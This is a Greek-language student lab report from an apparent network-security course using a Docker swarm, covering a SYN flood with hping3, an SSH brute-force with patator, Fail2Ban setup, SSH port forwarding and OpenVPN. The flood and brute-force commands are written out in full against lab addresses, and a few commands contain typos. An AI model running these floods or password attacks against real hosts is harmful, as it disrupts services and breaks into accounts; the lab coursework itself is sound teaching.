1. Υλοποίηση συστήματος για την προσομοίωση Dos/DDos Attack

1.1. Docker

To Docker είναι μια πλατφόρμα λογισμικού ανοιχτού κώδικα που υλοποιεί Εικονικοποίηση (Virtualization) σε επίπεδο Λειτουργικού Συστήματος. Tο Docker προσφέρει αυτοματοποιημένες διαδικασίες για την ανάπτυξη εφαρμογών σε απομονωμένες Περιοχές Χρήστη (User Spaces) που ονομάζονται Software Containers.Το λογισμικό χρησιμοποιεί τεχνολογιές του πυρήνα του Linux όπως τα cgroups και οι χώροι ονομάτων πυρήνα (kernel namespaces), για να επιτρέπει σε ανεξάρτητα software containers να εκτελούνται στο ίδιο λειτουργικό σύστημα.
Περισσότερες πληροφορίες για το docker υπάρχουν στην ιστοσελίδα : https://en.wikipedia.org/wiki/Docker_(software)

Σύμφωνα με τις οδηγίες κατεβάζουμε από την ιστοσελίδα του εργαστηρίου http://docs.swarmlab.io/SwarmLab-HowTos/labs/Howtos/docker/install.adoc.html και εγκαθιστούμε στον υπολογιστή μας το Docker.

Αρχικά δημιουργούμε σμήνος (swarm) από το Docker με τις ακόλουθες εντολές:

../install/usr/share/swarmlab.io/sec/swarmlab-sec create

Δημιουργία 4 cluster

../install/usr/share/swarmlab.io/sec/swarmlab-sec up size=4

Σύνδεση ως master

../install/usr/share/swarmlab.io/sec/swarmlab-sec login

Εύρεση του δικτύου του swarm

ifconfig

config swarm

Ευρέση των ενεργών host

nmap -sP 172.19.0.*

nmap

Συνδεση στον worker_1

ssh docker@172.19.0.3

connect worker

Στην συνέχεια προχωράμε στην επίθεση και εκτελούμε την παρακάτω εντολή αφού πρώτα εγκαταστήσουμε το hping3 με τις παρακάτω εντολές

sudo apt update
sudo apt install hping3
sudo hping3 -c 12000 -d 120 -S -w 64 -p 80 --flood --rand-source 172.19.0.3
όπου
-c: o αριθμός των πακέτων που θα είναι 12000 +
-d: το μέγεθος των πακέτων που θα είναι 120 bytes +
-S: τα πακέτα SYN +
-w: winsize (default 64) +
-p: στόχος η πόρτα 80 +
--flood: θα στέλνει γρήγορα πακέτα χωρίς να ενημερώνει πίσω +
--rand-source:  θα  στέλνονται  πακέτα  με  διαφορετικές  source  IP  για  να  κρύψουμε  την  πραγματική  +
 - destination IP 172.19.0.3 +
image:image/hping3-attack.png[] +

Για να δούμε την επίθεση που λαμβάνει ο worker_1 χρησιμοποιούμε την παρακάτω εντολή

sudo tcpdump -n -l
image: image/dos_attack.png[] +

Στην συνέχεια θα έπρεπε να δημιουργήσουμε iptables rules για την αντιμετώπιση των επιθέσεων αλλά δεν καταφερα να δημιουργήσω.

2. SSH Brute Force Attacks

Για την υλοποίηση αυτής της επίθεσης θα χρειαστούμε το πρόγραμμα patator οπότε τρέχουμε την παρακάτω εντολή:

sudo apt update
sudo apt install patator

Δημιουργούμε ένα αρχείο password.txt που περίεχει κωδικούς ώστε να γίνει η επίθεση.

Πραγματοποιούμε την επίθεση με την παρακάτω εντολή

patator ssh_login host=172.19.0.3 user=docker password=FILE0 0=password.txt -x ignore:mesg='Authentication failed.'

ssh patator

Καταλαβαίνουμε οτι η επίθεση ήταν επιτυχής.
Στην συνέχεια κατεβάζουμε το Fail2Ban που προστατεύει τα συστήματα από ssh brute force attacks με τις εξής εντολές

sudo apt-get update
sudo apt-get install fail2ban

Προχώραμε στην αντιγραφή τον δεδομένων από το jail.conf στο jail.local φάκελο με την εντολή

sudo cp /etc/fail2ban/jail.conf /etc/fail2ban/jail.local

Αλλάζουμε τα δεδομένα στον φάκελο jail.local και προσθέτουμε τα παρακάτω στοιχεία

[sshd] +
enable = true +
port = ssh +
filter = sshd +
logpath = /var/log/auth.log
maxretry = 3 +
bantime = 3600 +

οπού :
- port : η πόρτα της υπηρεσίας ssh
- logpath : το αρχείο καταγραφής
- maxretry : ο μέγιστος αριθμός προσπαθείων
- bantime : ο χρόνος απαγόρευσης εισόδου

Στη συνέχεια δοκιμάζουμε πάλι να ξανακάνουμε την επίθεση και θα παρατηρούσαμε οτί δεν θα μας αφήνε να συνεχίσουμε, δεν θα είχαμε προσβάση και θα έκανε ban τον χρήστη κάτι το οποίο δεν λείτουργησε στην δικία μου περίπτωση.

Ακόμα δεν κατάφερα να τροποποιήσω το ssh-server έτσι ώστε να επιτρέπει μόνο συνδέσεις μέσω key.

3. Local/Remote SSH Forwarding

Σε αυτό το ερώτημα έχω χρησιμοποιήσει άλλες IP οπώς φαίνεται στην παρακάτω εικόνα

IPnew

Εγκαθιστούμε τον apache στο μηχάνημα μας

sudo apt install apache2

Τρέχουμε τον server

apacherctl start

Παρατηρούμε οτι η υπηρέσια μας τρέχει με την εντολή

sudo netstat -antlupe

Στην συνέχεια εκτελούμε την εντολή

ssh -nNT -L 8000:localhost:80 docker@172.21.0.3

local ssh port

Με αυτήν την εντολή στην ουσία φτιάχνουμε ενα ssh tunel μεταξύ των δυο μηχανημάτων όπου προωθούμε τα δεδομένα μας μέσω της πόρτας 8000 στην πόρτα 80.

curl localhost:8000

Έτσι βλέπουμε την ιστοσελίδα του apache

local ssh port 1

Στην συνέχεια για να κάνουμε το remote port forwarding εκτελούμε την εντολή

ssh -nNT -L 8002ocalhost:80 docker@172.21.0.3

Με αυτήν την εντολή στην ουσία φτιάχνουμε ενα ssh tunel μεταξύ των δυο μηχανημάτων και συνδεόμαστε για να δούμε το αποτέλεσμα με την εντολή

curl localhost:8002

local remote ssh port

Ετσί βλέπουμε την ιστοσελίδα του apache

local ssh port 1

4. VPN

Αρχικά δημιουργούμε εναν φακέλο vpn μέσα στο swarmlab-sec όπου εκεί δημιουργούμε ένα αρχείο create-vpn.sh

create vpn.sh

Στην συνέχεια αφού αλλάζουμε τα δικαιώματα (chmod 700) στο αρχείο τρέχουμε με την εντολή

./create-vpn.sh

vpn login

Μέτα ακολουθεί η δημιουργία user οπού σε ένα αρχείο create-user.sh βάζουμε τα παρακάτω δεδομένα

create user.sh

Στην συνέχεια αφού αλλάζουμε τα δικαιώματα (chmod 700) στο αρχείο τρέχουμε με την εντολή

./create-user.sh

user login

Αφού εκτελέσουμε το script αντικαθιστούμε στο αρχείο test1.vpn που βρίσκεται μέσα στο φάκελο /swarmlab-sec/vpn

test.vpn

Αντιγράφουμε το test1.vpn στο φάκελο project που υπάρχει στο swarmlab-sec. Στο αρχείο test1.vpn βαζούμε την δικία μας IP που χρησιμοποιούμε.

cp test1.ovpn ../myproj/project/test1.vpn

Εγκαθιστούμε και στο docker και στο swarm το openvpn

sudo apt update
sudo apt install openvpn

Αφού συνδεόμαστε μέσα σε έναν worker εκτελούμε την εντολή

sudo openvpn --config ./test1.ovpn

success vpn

Εκτελούμαι την εντολή ifconfig για να δούμε οτί όντως δημιουργήσαμε το vpn

vpn connect1